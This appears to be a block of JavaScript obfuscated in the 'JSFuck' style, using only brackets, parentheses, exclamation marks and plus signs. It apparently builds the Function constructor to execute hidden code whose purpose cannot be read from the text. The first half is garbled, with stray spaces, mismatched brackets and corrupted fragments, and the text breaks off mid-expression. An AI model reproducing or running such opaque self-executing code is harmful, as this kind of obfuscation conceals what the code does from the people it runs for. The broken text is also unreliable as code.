+ []) [+ []] + ([ ! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [ ] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [( ! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) ! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + [] ] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + (!! [] + []) [+! + []] ]) [+! + [] + [+ []]] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([ ! []] + [] [[]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (+! [] + [! []] + ([] + []) [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [ ] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [ ] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ [ ]]] + (([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (! ! [] + []) [+ []] + (!! [[] [+] [+] [+] [+] [+] + []] + [] [+] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [] ) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] ) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! []] []) [+ []] + (!! [] + [ ]) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + (!! [] + []) [+! + []]]) [! + [] +! + [] + [+ []]]] (! + [] +! + [] +! + [] + [+! + []]) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []]) () ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [] ) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [([] [(! [] + []) [+ []] + ([! []] + [] [ []]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ [ ]] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [ []]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ [ ]] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] + ! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]] ) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + (!! [] + []) [+! + []]] ((!! !! [] + []) [+! + []] + (!! []] [ ]) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + ([] [[]] + []) [+ [] + (!! [] + []) [+! + []] + ([] [[]] + []) [+! + []] + (+ [! []] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+! + []]] + (!! [] + []) [! + [] + ! + [] +! + []] + (! [] + []) [! + [] +! + [] +! + []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + [] ] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + [ ]) [+! + []]] + []) [! + [] +! + [] +! + []] + (! [] + []) [+! + []] + (+ ( ! + [] +! + [] + [+! + []] + [+! + []])) [(!! [] [[]) [+ []] + (!! [] + [ ] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [ ]) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (+! [] + ([] + [] [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [ ] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [ ] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [ ] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [ ] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [ ] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + [] ) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ [] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ +! + []]] + []) [! + [] +! + [] +! + []] + (!! []] []) [+ []] + (!! [] + [ ] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [ ]) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (+ ! [] + [! []] + ([] + []) [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [ ] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + [] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [ ] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ [ ]]] + (!! [] + []) [+! + []]]) [! + [] +! + [] + [+ []]]] (! + [] +! + [] +! + [] + [+! + []]) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []]) () (([] + []) [([! []] + [] [[]]) [+! + [] + [+ []]] + (!! [] + []) [+ [] ] + (! [] + []) [+! + []] + (! [] + []) [! + [] +! + []] + ([! []] + [] [[] ]) [+! + [] + [+ []]] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+ ! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] + ! + [] +! + []] + (! [] + []) [! + [] +! + [] +! + []] () [+ []]) [+ []] [! + [] +! + []] + (! [] + []) [+! + []]) + (! [] + []) [+! + []] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [([] [(! [] + []) [+ []] + ([! []] + [] [[]] ) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[] ) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + [] ] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [ ] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [ ] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [ ] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+ ! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] [+! + [] + [+ []]] + (!! [] + []) [+! + []]] ((!! [] + []) [+! + []] + (!! [] + []) [ ! + [] +! + [] +! + []] + (!! [] + []) [+ []] + ([] [[]] + []) [+ []] + (! ! [] + []) [+! + []] + ([] [[]] + []) [+! + []] + (+ [! []] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (! ! [] + []) [+! + []]]) [+! + [] + [+! + []]] + ([] [[]] + []) [+ []] + ( [] [[]] + []) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []] + (! [] + [ ]) [! + [] +! + [] +! + []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]] ) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (! [] + []) [+! + []] + (+ (! + [] +! + [] + [+! + [] + [+! + []])) [(!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ( [! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (+! [] + ([] + []) [([] [(! [] + []) [+ [] ] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + [] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [] + [] [(! [] + []) [+ [] ] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + [] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + [] [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ( [] [[]] + []) [+ []] + ([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+ ! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] + ! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + [] [(! [] + []) [+ []] + ( [! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]] [+! + [] + [+ []] ] + (!! [] + []) [+ []] + (!! [] + []) [+! + []] + ([! []] + [] [[]]) [+ ! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (+! [] + [! []] + ([] + [] [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [ ] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [ ] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + []] + (!! [ ] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [ ] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [ ] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + [] ) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+ []] + ( !! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + []) [+ [] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ +! + []]] + []) [! + [] +! + [] +! + []] + (!! []] []) [+ []] + (!! [] + [ ] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + [ ]) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + (!! [] + []) [+! + []]]) [! + [] +! + [] + [+ []]]] (! + [] +! + [] +! + [] + [+! + []]) [+! + []] + (!! [] + []) [! + [] +! + [] +! + []]) () ([] [(! [] + []) [+ [] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] +! + []] + ( !! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [ +! + []]] [([] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ [ ]]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]] + []) [! + [] +! + [] +! + [ ]] + (!! [] + [] [(! [] + []) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ [ ]]] + (! [] + []) [! + [] +! + []] + (!! [] + []) [+ []] + (!! [] + []) [! + [] +! + [] +! + []] + (!! [] + []) [+! + []]]) [+! + [] + [+ []]] + ([] [[]] + []) [+! + []] + (! [] + []) [! + [] +! + [] +! + []] + (!! []] [] [+ []] + (!! [] + []) [+! + []] + ([] [[]] + []) [+ []] + ([] [(! [] + [ ]) [+ []] + ([! []] + [] [[]]) [+! + [] + [+ []]] + (! [] + []) [! + [] + !+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!! []+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+ (!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]] +(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[] +!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+ [])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+! +[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+ []]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([ ![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![ ]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+ []]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[] ]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(+![]+[![]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]](!+[]+!+[]+!+[]+[+!+[]]) [+!+[]]+(!![]+[])[!+[]+!+[]+!+[]])()(([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]])[+[]]+[!+[]+!+[]]+(![]+[])[+!+[]])+(![]+[+![]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[] +!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+![]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+[+[]]+(![]+[ +![]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+ !+[]]]+[])[+!+[]+[!+[]+!+[]]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+([![]] +[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(+![]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![ 